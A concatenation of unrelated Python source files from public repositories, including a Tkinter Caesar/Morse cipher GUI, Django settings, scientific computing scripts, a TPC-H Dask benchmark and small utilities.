create_widgets_of_decoding_tab(self): self.create_decoding_section_labelframe() self.create_widgets_from_decoding_section_labelframe() self.create_decryption_options_labelframe() self.create_buttons_from_decryption_options() def create_decoding_section_labelframe(self): self.decoding_labelframe = ttk.LabelFrame(self.decoding_tab, text = self.i18n_cryptography_playground.decoding_section_labelframe) self.decoding_labelframe.grid(row = 0, padx = self.gui_settings.coding_section_padding_width, pady = self.gui_settings.padding_height) def create_widgets_from_decoding_section_labelframe(self): self.create_label_for_message_to_be_decrypted() self.create_scrolledtext_for_message_to_be_decrypted() self.create_label_for_decrypted_message() self.create_scrolledtext_for_decrypted_message() def create_label_for_message_to_be_decrypted(self): self.label_for_message_to_be_decrypted = ttk.Label(self.decoding_labelframe, text = self.i18n_cryptography_playground.label_for_message_to_be_decrypted, font = (self.gui_settings.font_family, self.gui_settings.font_size)) self.label_for_message_to_be_decrypted.grid(row = 1) def create_scrolledtext_for_message_to_be_decrypted(self): self.scrolledtext_for_message_to_be_decrypted = scrolledtext.ScrolledText(self.decoding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD) self.scrolledtext_for_message_to_be_decrypted.grid(row = 2, pady = self.gui_settings.padding_height) self.scrolledtext_for_message_to_be_decrypted.focus() def create_label_for_decrypted_message(self): self.label_decrypted_message = ttk.Label(self.decoding_labelframe, text = self.i18n_cryptography_playground.label_decrypted_message, font = (self.gui_settings.font_family, self.gui_settings.font_size)) self.label_decrypted_message.grid(row = 3) def create_scrolledtext_for_decrypted_message(self): self.scrolledtext_for_decrypted_message = scrolledtext.ScrolledText(self.decoding_labelframe, width = self.gui_settings.scrolledtext_width, height = self.gui_settings.scrolledtext_height, font = (self.gui_settings.font_family, self.gui_settings.font_size), wrap = tk.WORD) self.scrolledtext_for_decrypted_message.grid(row = 4, pady = self.gui_settings.padding_height) def create_decryption_options_labelframe(self): self.decoding_tab_cryptography_options = ttk.LabelFrame(self.decoding_labelframe, text = self.i18n_cryptography_playground.cryptography_options) self.decoding_tab_cryptography_options.grid(row = 5, pady = self.gui_settings.padding_height, sticky = tk.W) def create_buttons_from_decryption_options(self): self.create_caesar_decryption_button() self.create_morse_decryption_button() self.add_padding_to_decryption_buttons() def create_caesar_decryption_button(self): self.button_caesar_cryptography = ttk.Button(self.decoding_tab_cryptography_options, text = self.i18n_cryptography_playground.caesar_cryptography_button_text, command = lambda : self.process_message(Caesar, "decrypt", self.scrolledtext_for_message_to_be_decrypted, self.scrolledtext_for_decrypted_message)) self.button_caesar_cryptography.grid(column = 0, row = 0, sticky = tk.W) def create_morse_decryption_button(self): self.button_morse_cryptography = ttk.Button(self.decoding_tab_cryptography_options, text = self.i18n_cryptography_playground.morse_cryptography_button_text, command = lambda : self.process_message(Morse, "decrypt", self.scrolledtext_for_message_to_be_decrypted, self.scrolledtext_for_decrypted_message)) self.button_morse_cryptography.grid(column = 1, row = 0, sticky = tk.W) def add_padding_to_decryption_buttons(self): for button in self.decoding_tab_cryptography_options.winfo_children(): button.grid_configure(padx = self.gui_settings.padding_width, pady = self.gui_settings.padding_height) def close_window(self): self.window.quit() self.window.destroy() exit() def open_new_window(self): CryptographyPlayground() def show_message_box(self, type, title, content): type = type.lower() if type == "info": msg.showinfo(title, content) elif type == "warning": msg.showwarning(title, content) elif type == "error": msg.showerror(title, content) def change_message_on_scrolledtext(self, scrolledtext, message): scrolledtext.delete("1.0", "end") scrolledtext.insert("1.0", message) def get_text_from_scrolledtext(self, scrolledtext): text = scrolledtext.get("1.0", "end-1c").strip() return text def process_message(self, cryptography_algorithm, action, source_scrolledtext, destiny_scrolledtext): source_message = self.get_text_from_scrolledtext(source_scrolledtext) if source_message == "": self.show_message_box("warning", self.i18n_message_box.nothing_written_warning_title, self.i18n_message_box.nothing_written_warning_content) else: try: if action == "encrypt": destiny_message = cryptography_algorithm().encrypt(source_message) elif action == "decrypt": destiny_message = cryptography_algorithm().decrypt(source_message) self.change_message_on_scrolledtext(destiny_scrolledtext, destiny_message) destiny_scrolledtext.focus() except Exception as exception: print(exception) self.show_message_box("error", self.i18n_message_box.process_error_title, self.i18n_message_box.process_error_content) if __name__ == "__main__": cryptography_playground = CryptographyPlayground() cryptography_playground.window.mainloop()

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resp/vdw_surface.py

alenaizan/resp

10

142533

from __future__ import division, absolute_import, print_function import numpy as np """ A sript to generate van der Waals surface of molecules. """ # Van der Waals radii (in angstrom) are taken from GAMESS. vdw_r = {'H': 1.20, 'HE': 1.20, 'LI': 1.37, 'BE': 1.45, 'B': 1.45, 'C': 1.50, 'N': 1.50, 'O': 1.40, 'F': 1.35, 'NE': 1.30, 'NA': 1.57, 'MG': 1.36, 'AL': 1.24, 'SI': 1.17, 'P': 1.80, 'S': 1.75, 'CL': 1.70} def surface(n): """Computes approximately n points on unit sphere. Code adapted from GAMESS. Parameters ---------- n : int approximate number of requested surface points Returns ------- ndarray numpy array of xyz coordinates of surface points """ u = [] eps = 1e-10 nequat = int(np.sqrt(np.pi*n)) nvert = int(nequat/2) nu = 0 for i in range(nvert+1): fi = np.pi*i/nvert z = np.cos(fi) xy = np.sin(fi) nhor = int(nequat*xy+eps) if nhor < 1: nhor = 1 for j in range(nhor): fj = 2*np.pi*j/nhor x = np.cos(fj)*xy y = np.sin(fj)*xy if nu >= n: return np.array(u) nu += 1 u.append([x, y, z]) return np.array(u) def vdw_surface(coordinates, elements, scale_factor, density, input_radii): """Computes points outside the van der Waals surface of molecules. Parameters ---------- coordinates : ndarray cartesian coordinates of the nuclei, in units of angstrom elements : list The symbols (e.g. C, H) for the atoms scale_factor : float The points on the molecular surface are set at a distance of scale_factor * vdw_radius away from each of the atoms. density : float The (approximate) number of points to generate per square angstrom of surface area. 1.0 is the default recommended by Kollman & Singh. input_radii : dict dictionary of user's defined VDW radii Returns ------- radii : dict A dictionary of scaled VDW radii surface_points : ndarray array of the coordinates of the points on the surface """ radii = {} surface_points = [] # scale radii for i in elements: if i in radii.keys(): continue if i in input_radii.keys(): radii[i] = input_radii[i] * scale_factor elif i in vdw_r.keys(): radii[i] = vdw_r[i] * scale_factor else: raise KeyError('%s is not a supported element; ' %i + 'use the "VDW_RADII" option to add ' + 'its van der Waals radius.') # loop over atomic coordinates for i in range(len(coordinates)): # calculate approximate number of ESP grid points n_points = int(density * 4.0 * np.pi* np.power(radii[elements[i]], 2)) # generate an array of n_points in a unit sphere around the atom dots = surface(n_points) # scale the unit sphere by the VDW radius and translate dots = coordinates[i] + radii[elements[i]] * dots for j in range(len(dots)): save = True for k in range(len(coordinates)): if i == k: continue # exclude points within the scaled VDW radius of other atoms d = np.linalg.norm(dots[j] - coordinates[k]) if d < radii[elements[k]]: save = False break if save: surface_points.append(dots[j]) return np.array(surface_points), radii

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exercicios-python/ex035.py

anavesilva/python-introduction

0

199992

# Analisando Triângulo v1.0 #a soma de dois lados é sempre menor que o terceiro lado. print('-=-' * 10) print('Analisador de triangulos') print('-=-' * 10) r1 = float(input('Primeiro segmento: ')) r2 = float(input('Segundo segmento: ')) r3 = float(input('Terceiro segmento: ')) soma12 = r1 + r2 soma13 = r1 + r3 soma23 = r2 +r3 if soma12 > r3 and soma13 > r2 and soma23 > r1: print('Os segmentos acima podem formar um triângulo!') else: print('Os segmentos fornecidos acima NÃO podem formar um triângulo!')

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create_input_files.py

FangxiangFeng/a-PyTorch-Tutorial-to-Image-Captioning

0

165254

from utils import create_input_files if __name__ == '__main__': # Create input files (along with word map) create_input_files(dataset='aicc', karpathy_json_path='/workspace/data/aicc_caption/dataset_aicc.json', image_folder='/workspace/data/aicc_caption/images', captions_per_image=5, min_word_freq=5, output_folder='/workspace/data/aicc_caption/', max_len=50)

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summers_api/settings.py

summerthe/summers_api

0

1613741

<gh_stars>0 """ Django settings for summers_api project. Generated by 'django-admin startproject' using Django 4.0.3. For more information on this file, see https://docs.djangoproject.com/en/4.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/4.0/ref/settings/ """ import json from pathlib import Path from typing import Dict import environ # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent env = environ.Env() env.read_env(str(BASE_DIR / ".env")) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = env( "DJANGO_SECRET_KEY", default="<KEY>", ) # SECURITY WARNING: don't run with debug turned on in production! DEBUG = env.bool("DJANGO_DEBUG", False) ALLOWED_HOSTS = env.list( "DJANGO_ALLOWED_HOSTS", default=["localhost", "0.0.0.0", "127.0.0.1"] ) # Application definition DJANGO_APPS = [ "django.contrib.admin", "django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.messages", "django.contrib.staticfiles", ] THIRD_PARTY_APPS = [ "rest_framework", "rest_framework.authtoken", "rest_framework_simplejwt", "social_django", "rest_social_auth", "corsheaders", ] LOCAL_APPS = [ "apps.users", "apps.tube2drive", "apps.news", ] INSTALLED_APPS = DJANGO_APPS + THIRD_PARTY_APPS + LOCAL_APPS MIDDLEWARE = [ "django.middleware.security.SecurityMiddleware", "corsheaders.middleware.CorsMiddleware", "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.common.CommonMiddleware", "django.middleware.csrf.CsrfViewMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware", "django.contrib.messages.middleware.MessageMiddleware", "django.middleware.clickjacking.XFrameOptionsMiddleware", ] AUTHENTICATION_BACKENDS = ( "social_core.backends.open_id.OpenIdAuth", "social_core.backends.google.GoogleOAuth2", "social_core.backends.google.GoogleOAuth", "django.contrib.auth.backends.ModelBackend", ) ROOT_URLCONF = "summers_api.urls" TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", "DIRS": [], "APP_DIRS": True, "OPTIONS": { "context_processors": [ "django.template.context_processors.debug", "django.template.context_processors.request", "django.contrib.auth.context_processors.auth", "django.contrib.messages.context_processors.messages", ], }, }, ] WSGI_APPLICATION = "summers_api.wsgi.application" # Database # https://docs.djangoproject.com/en/4.0/ref/settings/#databases DATABASES = { "default": env.db("DATABASE_URL", default="postgres:///summers_api"), } DATABASES["default"]["ATOMIC_REQUESTS"] = True # Password validation # https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", }, { "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", }, { "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", }, { "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, ] AUTH_USER_MODEL = "users.User" # Internationalization # https://docs.djangoproject.com/en/4.0/topics/i18n/ LANGUAGE_CODE = "en-us" TIME_ZONE = "UTC" USE_I18N = True USE_TZ = True # MEDIA # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#media-root STATIC_URL = "/static/" MEDIA_ROOT = str(BASE_DIR / "media") # https://docs.djangoproject.com/en/dev/ref/settings/#media-url MEDIA_URL = "/media/" DEFAULT_FILE_STORAGE = "apps.common.storage.CustomFileStorage" # Default primary key field type # https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" # django-rest-framework # ------------------------------------------------------------------------------- # django-rest-framework - https://www.django-rest-framework.org/api-guide/settings/ REST_FRAMEWORK = { "DEFAULT_AUTHENTICATION_CLASSES": ( "rest_framework.authentication.TokenAuthentication", "rest_framework_simplejwt.authentication.JWTAuthentication", ), "DEFAULT_PERMISSION_CLASSES": ("rest_framework.permissions.IsAuthenticated",), } # django-cors-headers - https://github.com/adamchainz/django-cors-headers#setup CORS_URLS_REGEX = r"^/api/.*$" CORS_ALLOW_ALL_ORIGINS = True # Imgur API IMGUR_CLIENT_ID = env("IMGUR_CLIENT_ID") IMGUR_UPLOAD_ENDPOINT = env("IMGUR_UPLOAD_ENDPOINT") IMGUR_SUPPORTED_FORMAT = [ # image formats "image/png", "image/jpg", "image/jpeg", # video formats "video/mp4", "video/webm", "video/x-matroska", "video/quicktime", "video/x-flv", "video/x-msvideo", "video/x-ms-wmv", "video/mpeg", ] # GCP GCP_SERVICE_ACCOUNT_CONTENT: str = env("GCP_SERVICE_ACCOUNT_CONTENT") GCP_SERVICE_ACCOUNT_JSON: Dict[str, str] = json.loads(GCP_SERVICE_ACCOUNT_CONTENT) CURRENT_DOMAIN = env("CURRENT_DOMAIN") # Social auth # For google # https://accounts.google.com/o/oauth2/v2/auth? # scope=https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile& # access_type=offline& # include_granted_scopes=true& # response_type=code& # redirect_uri=redirect_uri& # client_id=client_id SOCIAL_AUTH_GOOGLE_OAUTH2_KEY = env("SOCIAL_AUTH_GOOGLE_OAUTH2_KEY") SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET = env("SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET") SOCIAL_AUTH_GOOGLE_OAUTH2_SCOPE = [ "https://www.googleapis.com/auth/userinfo.email", "https://www.googleapis.com/auth/userinfo.profile", ] OPENWEATHER_API_KEY = env("OPENWEATHER_API_KEY") NEWSDATA_IO_API_KEY = env("NEWSDATA_IO_API_KEY") DEFAULT_NEWS_IMAGE_URL = env("DEFAULT_NEWS_IMAGE_URL")

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willie/modules/isup.py

qsantos/willie

0

83128

<gh_stars>0 # coding=utf8 """ isup.py - Simple website status check with isup.me Author: <NAME> http://embolalia.net About: http://willie.dftba.net This allows users to check if a website is up through isup.me. """ from __future__ import unicode_literals from willie import web from willie.module import commands @commands('isup') def isup(bot, trigger): """isup.me website status checker""" site = trigger.group(2) if not site: return bot.reply("What site do you want to check?") if site[:6] != 'http://' and site[:7] != 'https://': if '://' in site: protocol = site.split('://')[0] + '://' return bot.reply("Try it again without the %s" % protocol) else: site = 'http://' + site if not '.' in site: site += ".com" try: response = web.get(site) except Exception: bot.say(site + ' looks down from here.') return if response: bot.say(site + ' looks fine to me.') else: bot.say(site + ' is down from here.')

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autoqm/pusher.py

KEHANG/autoQM

0

103899

# connect to registration table # search targets to push # 1. get all the jobs with "job_success" # 2. check if job files are indeed there # 3. get level of theory from job files # 4. check if results table has this job with # same level of theory # launch cantherm job, # push results to results table # main data: # Hf298, S298, Cp300, Cp400, Cp500 # Cp600, Cp800, Cp1000, Cp1500 # # meta data: # level of theory, # timestamp import os import time import shutil import autoqm.utils import autoqm.connector def select_push_target(registration_table, results_table, success_data_path): """ This method is to inform job pusher which targets to push, which need meet three requirements: 1. status is job_success 2. job files (.log and .inp) located as expected 3. results table doesn't have this job at that level of theory Returns a list of targets with necessary meta data """ reg_query = {"status":"job_success"} targets = list(registration_table.find(reg_query)) selected_targets = [] for target in targets: aug_inchi = str(target['aug_inchi']) spec_name = aug_inchi.replace('/', '_slash_') spec_path = os.path.join(success_data_path, spec_name) log_path = os.path.join(spec_path, 'input.log') inp_path = os.path.join(spec_path, 'input.inp') if os.path.exists(log_path) and os.path.exists(inp_path): level_of_theory = autoqm.utils.get_level_of_theory(inp_path) # query results table res_query = {"aug_inchi":aug_inchi, "level_of_theory":level_of_theory} res_entries = list(results_table.find(res_query)) if len(res_entries) == 0: # means no records of this target # in results table selected_targets.append(target) return selected_targets def push_jobs(registration_table, results_table, success_data_path): # select push targets targets = select_push_target(registration_table, results_table, success_data_path) for target in targets: aug_inchi = str(target['aug_inchi']) spec_name = aug_inchi.replace('/', '_slash_') spec_path = os.path.join(success_data_path, spec_name) inp_path = os.path.join(spec_path, 'input.inp') model_chemistry = autoqm.utils.get_level_of_theory(inp_path) smiles = str(target['SMILES_input']) # run cantherm thermo = autoqm.utils.run_cantherm(spec_path, model_chemistry, smiles) # push to results table Hf298 = thermo.H298.value_si/1000/4.184 # kcal/mol S298 = thermo.S298.value_si/4.184 # cal/mol/K Cp300 = thermo.Cpdata.value_si[0]/4.184 # cal/mol/K Cp400 = thermo.Cpdata.value_si[1]/4.184 # cal/mol/K Cp500 = thermo.Cpdata.value_si[2]/4.184 # cal/mol/K Cp600 = thermo.Cpdata.value_si[3]/4.184 # cal/mol/K Cp800 = thermo.Cpdata.value_si[4]/4.184 # cal/mol/K Cp1000 = thermo.Cpdata.value_si[5]/4.184 # cal/mol/K Cp1500 = thermo.Cpdata.value_si[6]/4.184 # cal/mol/K # check results table again there's no # same entry res_query = {"aug_inchi":aug_inchi, "level_of_theory":model_chemistry} res_entries = list(results_table.find(res_query)) if len(res_entries) > 0: continue # do the insertion insert_entry = {"aug_inchi" : aug_inchi, "Hf298(kcal/mol)" : Hf298, "S298(cal/mol/K)" : S298, "Cp300(cal/mol/K)" : Cp300, "Cp400(cal/mol/K)" : Cp400, "Cp500(cal/mol/K)" : Cp500, "Cp600(cal/mol/K)" : Cp600, "Cp800(cal/mol/K)" : Cp800, "Cp1000(cal/mol/K)" : Cp1000, "Cp1500(cal/mol/K)" : Cp1500, "timestamp" : time.time(), "SMILES_input" : smiles, "level_of_theory" : model_chemistry} results_table.insert_one(insert_entry) def run(): # get config info config = autoqm.utils.read_config() # connect to thermo central db auth_info = autoqm.utils.get_TCD_authentication_info() tcdi = autoqm.connector.ThermoCentralDatabaseInterface(*auth_info) tcd = getattr(tcdi.client, 'thermoCentralDB') # get registration table and result table # and specify success job data path pusher_reg_table = getattr(tcd, 'saturated_ringcore_table') pusher_res_table = getattr(tcd, 'saturated_ringcore_res_table') success_data_path = os.path.join(config['QuantumMechanicJob']['scratch_data_path'], 'success') push_jobs(pusher_reg_table, pusher_res_table, success_data_path) run()

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djconnectwise/migrations/0114_auto_20200219_1515.py

kti-sam/django-connectwise

10

75979

<reponame>kti-sam/django-connectwise # Generated by Django 2.1.14 on 2020-02-19 15:15 from django.db import migrations, models import django.db.models.deletion import django_extensions.db.fields class Migration(migrations.Migration): dependencies = [ ('djconnectwise', '0113_auto_20200204_1054'), ] operations = [ migrations.CreateModel( name='ProjectType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', django_extensions.db.fields.CreationDateTimeField(auto_now_add=True, verbose_name='created')), ('modified', django_extensions.db.fields.ModificationDateTimeField(auto_now=True, verbose_name='modified')), ('name', models.CharField(max_length=30)), ('default_flag', models.BooleanField(default=False)), ('inactive_flag', models.BooleanField(default=False)), ], options={ 'verbose_name_plural': 'Project types', 'ordering': ('name',), }, ), migrations.AddField( model_name='project', name='type', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='djconnectwise.ProjectType'), ), ]

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benchmark/test_tpch.py

serverless-analytics/dask-distributed-vanilla

0

11864

import time import sys import dask from dask.distributed import ( wait, futures_of, Client, ) from tpch import loaddata, queries #from benchmarks import utils # Paths or URLs to the TPC-H tables. #table_paths = { # 'CUSTOMER': 'hdfs://bu-23-115:9000/tpch/customer.tbl', # 'LINEITEM': 'hdfs://bu-23-115:9000/tpch/lineitem.tbl', # 'NATION': 'hdfs://bu-23-115:9000/tpch/nation.tbl', # 'ORDERS': 'hdfs://bu-23-115:9000/tpch/orders.tbl', # 'PART': 'hdfs://bu-23-115:9000/tpch/part.tbl', # 'PARTSUPP': 'hdfs://bu-23-115:9000/tpch/partsupp.tbl', # 'REGION': 'hdfs://bu-23-115:9000/tpch/region.tbl', # 'SUPPLIER': 'hdfs://bu-23-115:9000/tpch/supplier.tbl', #} table_paths = { 'CUSTOMER': '/root/2g/customer.tbl', 'LINEITEM': '/root/2g/lineitem.tbl', 'NATION': '/root/2g/nation.tbl', 'ORDERS': '/root/2g/orders.tbl', 'PART': '/root/2g/part.tbl', 'PARTSUPP': '/root/2g/partsupp.tbl', 'REGION': '/root/2g/region.tbl', 'SUPPLIER': '/root/2g/supplier.tbl', } #table_paths = { # 'CUSTOMER': 'https://gochaudhstorage001.blob.core.windows.net/tpch/customer.tbl', # 'LINEITEM': 'https://gochaudhstorage001.blob.core.windows.net/tpch/lineitem.tbl', # 'NATION': 'https://gochaudhstorage001.blob.core.windows.net/tpch/nation.tbl', # 'ORDERS': 'https://gochaudhstorage001.blob.core.windows.net/tpch/orders.tbl', # 'PART': 'https://gochaudhstorage001.blob.core.windows.net/tpch/part.tbl', # 'PARTSUPP': 'https://gochaudhstorage001.blob.core.windows.net/tpch/partsupp.tbl', # 'REGION': 'https://gochaudhstorage001.blob.core.windows.net/tpch/region.tbl', # 'SUPPLIER': 'https://gochaudhstorage001.blob.core.windows.net/tpch/supplier.tbl', #} def main(): if len(sys.argv) < 2: print("args: <dask client>") return 1 client = Client(sys.argv[1]) timing_supported = False # set to False if running against upstream dask without our code changes. benchmarker = TpchBenchmarkManager(client, timing_supported) benchmarker.load_tables( part_path = table_paths['PART'], supplier_path = table_paths['SUPPLIER'], partsupp_path = table_paths['PARTSUPP'], customer_path = table_paths['CUSTOMER'], orders_path = table_paths['ORDERS'], lineitem_path = table_paths['LINEITEM'], nation_path = table_paths['NATION'], region_path = table_paths['REGION'], ) # Choose what queries you want to run here. benchmarker.run_query(1) #benchmarker.run_query(3) #benchmarker.run_query(6) #benchmarker.run_query(21) class TpchBenchmarkManager: def __init__(self, client, timing_supported=True): self.client = client self.timing_supported = timing_supported self.tables = {} def load_tables(self, *, # Paths/URLs for TPCH tables source data. part_path=None, supplier_path=None, partsupp_path=None, customer_path=None, orders_path=None, lineitem_path=None, nation_path=None, region_path=None, ): paths = { 'PART': part_path, 'SUPPLIER': supplier_path, 'PARTSUPP': partsupp_path, 'CUSTOMER': customer_path, 'ORDERS': orders_path, 'LINEITEM': lineitem_path, 'NATION': nation_path, 'REGION': region_path, } for tablename, path in paths.items(): if path is None: print("\nNo path given for table {}. Skipping.".format(tablename)) continue print("\n====================================") print("Ingesting table {}... \n(from {})".format(tablename, path)) load_start = time.time() table = loaddata.loader[tablename](path) #table = self.client.persist(table) #wait(table) load_duration = time.time() - load_start self.tables[tablename] = table futures = futures_of(table) print("...complete.") print("\nE2E time: {:.3f} seconds. Number of partitions: {}".format( load_duration, len(futures))) print("====================================\n") if self.timing_supported: longest_future = None longest_future_duration = None for future in futures: duration = self.client.timing_info(future)[0]['duration'] if longest_future is None or duration > longest_future_duration: longest_future = future longest_future_duration = duration print("Profile of slowest partition:") #utils.prettyprint_timing_info(self.client.timing_info(longest_future)) def run_query(self, query_num): print("\n====================================") print("Executing query {}...".format(query_num)) query_start = time.time() futures = queries.by_number[query_num](self.tables) future = self.client.compute(futures) result = self.client.gather(future) query_duration = time.time() - query_start print("...complete.") print("\nE2E time: {:.3f} seconds.".format(query_duration)) if self.timing_supported: try: utils.prettyprint_timing_info(self.client.timing_info(future)) except Exception as e: print(str(e)) print(result) return future if __name__ == '__main__': main()

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cirtorch/enhance/color/gray.py

Tarekbouamer/Image-Retrieval-for-Image-Based-Localization

3

185087

import torch import torch.nn as nn from .rgb import bgr_to_rgb def rgb_to_grayscale(image: torch.Tensor) -> torch.Tensor: """ Convert a RGB image to grayscale version of image. The image data is assumed to be in the range of (0, 1). """ if not isinstance(image, torch.Tensor): raise TypeError("Input type is not a torch.Tensor. Got {}".format( type(image))) if len(image.shape) < 3 or image.shape[-3] != 3: raise ValueError("Input size must have a shape of (*, 3, H, W). Got {}" .format(image.shape)) r = image[..., 0:1, :, :] g = image[..., 1:2, :, :] b = image[..., 2:3, :, :] gray = 0.299 * r + 0.587 * g + 0.114 * b return gray def bgr_to_grayscale(image: torch.Tensor) -> torch.Tensor: """ Convert a BGR image to grayscale. The image data is assumed to be in the range of (0, 1). First flips to RGB, then converts. """ if not isinstance(image, torch.Tensor): raise TypeError("Input type is not a torch.Tensor. Got {}".format( type(image))) if len(image.shape) < 3 or image.shape[-3] != 3: raise ValueError("Input size must have a shape of (*, 3, H, W). Got {}" .format(image.shape)) image_rgb = bgr_to_rgb(image) gray = rgb_to_grayscale(image_rgb) return gray

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main.py

timonent/hedging

0

175079

<filename>main.py import concurrent.futures import itertools as it import threading import click from hedger import Hedger from options_data import OptionsData #------------------------------------------------------------------------- @click.command(no_args_is_help=True) @click.option("--portfolio-size", "-p", multiple=True, type=click.IntRange(min=1, max=5), help="Size of the portfolio to be hedged.") @click.option("--schedule", "-s", multiple=True, type=click.IntRange(min=1, max=10), help="Hedging schedule to consider (in days).") @click.option("--hedge-type", "-h", multiple=True, type=click.Choice(["delta", "delta-vega"], case_sensitive=True)) def execute_cmdline(portfolio_size, schedule, hedge_type): """Evaluate delta and delta-vega hedging performance on portfolios of at-the-money call options on S&P 100 during the trading year of 2010.""" portfolio_size = sorted(set(portfolio_size)) schedule = sorted(set(schedule)) hedge_type = sorted(x.replace("-", "_") for x in set(hedge_type)) data = OptionsData() sheets = data.get_sheet_names() task_params = it.product(hedge_type, sheets, portfolio_size, schedule) results = [] print("Performing hedging in parallel...") with concurrent.futures.ProcessPoolExecutor() as executor: stats_futures = [executor.submit(getattr(Hedger, f"{hedge_type}_hedge"), data, *params) for hedge_type, *params in task_params] for stats in concurrent.futures.as_completed(stats_futures): results.append(stats.result()) for result in results: print(result) #------------------------------------------------------------------------- if __name__ == "__main__": execute_cmdline() #-------------------------------------------------------------------------

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vector_partition.py

ilyakava/pyfst

3

62038

<reponame>ilyakava/pyfst<filename>vector_partition.py<gh_stars>1-10 """Test spatial depence of feature extraction methods Extracts quadrants of input images such that a certain percentage of training examples are present in those quadrants. The hope is to select training sets where training pixels and test pixels are not spatially interspersed. """ from collections import namedtuple import itertools import os import h5py import hdf5storage import numpy as np import scipy.io as sio import cvxpy as cvx import matplotlib.pyplot as plt import pdb DATASET_PATH = (os.environ['DATASET_PATH']) quadO = namedtuple('quadO', ['x', 'y', 'x_end', 'y_end', 'hist']) def get_quadrants(labels, n_x, n_y): pass def get_train_mask(quads, selection): train = np.zeros((height, width)) for i, q in enumerate(quads): if selection[i] == 1: train[q.y:q.y_end,q.x:q.x_end] = 1 return train # plt.imshow(train) # plt.show() def get_gt(name): mat_contents = sio.loadmat(os.path.join(DATASET_PATH, name)) if name == 'Indian_pines_gt.mat': return mat_contents['indian_pines_gt'] elif name == 'PaviaU_gt.mat': return mat_contents['paviaU_gt'] elif name == 'Salinas_gt.mat': return mat_contents['salinas_gt'] elif name == 'Botswana_gt.mat': return mat_contents['Botswana_gt'] elif name == 'Smith_gt.mat': return mat_contents['Smith_gt'] elif name == 'Pavia_center_right_gt.mat': return mat_contents['Pavia_center_right_gt'] else: error('No such dataset %s' % name) def quads_to_traintestfile(quads, selection, gt, name): train = np.zeros((height, width)) for i, q in enumerate(quads): if selection[i] == 1: train[q.y:q.y_end,q.x:q.x_end] = 1 train_mask = (gt != 0) * train train_mask = train_mask.transpose().reshape(height*width) test_mask = (gt != 0) * (1-train) test_mask = test_mask.transpose().reshape(height*width) mat_outdata = {} mat_outdata[u'test_mask'] = test_mask mat_outdata[u'train_mask'] = train_mask hdf5storage.write(mat_outdata, filename=os.path.join(DATASET_PATH, name), matlab_compatible=True) def myhist(nlabels, lab_img): hist_arr = np.zeros(nlabels) for k in lab_img.flatten(): if k != 0: hist_arr[k-1] += 1 return hist_arr def make_staggered_quads(gt, rare_classes, q_sz, q_stagger=None): [height, width] = gt.shape nlabels = len(np.unique(gt)) - 1 if q_stagger is None: q_stagger = q_sz quads = [] for x1 in range(0,width-q_sz,q_stagger): for y1 in range(0,height-q_sz,q_stagger): x2 = x1 + q_sz y2 = y1 + q_sz gt_subregion = gt[y1:y2,x1:x2] subregion_hist = myhist(nlabels, gt_subregion) # if we are on a staggered block, and we don't include # any small amount labels, then skip it if (x1 % q_sz !=0 or y1 % q_sz !=0) and (np.max(rare_classes * subregion_hist) < 2): next elif np.sum(subregion_hist) > 0: quads.append(quadO(x1, y1, x2, y2, subregion_hist)) return quads def quads_to_mats(nlabels, non_empty_quads): n_ne_quads = len(non_empty_quads) P = np.zeros((nlabels, n_ne_quads)) C = np.zeros((nlabels, n_ne_quads)) for i, q in enumerate(non_empty_quads): P[:, i] = q.hist / gt_hist C[:, i] = q.hist return [P, C] if __name__ == '__main__': gt = get_gt('PaviaU_gt.mat') [height, width] = gt.shape nlabels = len(np.unique(gt)) - 1 gt_hist = myhist(nlabels, gt) pdb.set_trace() non_empty_quads = make_staggered_quads(gt, (gt_hist < np.median(gt_hist)).astype(int), 16, 4) print('done making quads') n_ne_quads = len(non_empty_quads) [P, C] = quads_to_mats(nlabels, non_empty_quads) A = 100 * P # b = 10 # w = gt_hist.max() / gt_hist x = cvx.Variable(n_ne_quads, boolean=True) obj = cvx.Minimize(cvx.norm((A * x - 12),2)) prob = cvx.Problem(obj) prob.solve(solver=cvx.GLPK_MI) # this is the better than default solver for integer problems if x.value is None: print('no solution found') pdb.set_trace() else: selection = np.round(x.value).astype(int) myhist(nlabels ,(gt * get_train_mask(non_empty_quads, selection)).astype(int)) / gt_hist plt.imshow(get_train_mask(non_empty_quads, selection)) plt.show() # print what this binary mask image looks like # next pdb.set_trace() quads_to_traintestfile(non_empty_quads, selection, gt, 'PaviaU_gt_traintest_coarse_32px32p.mat')

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tests/manifest/test_receiver.py

ebi-ait/ingest-exporter

0

62252

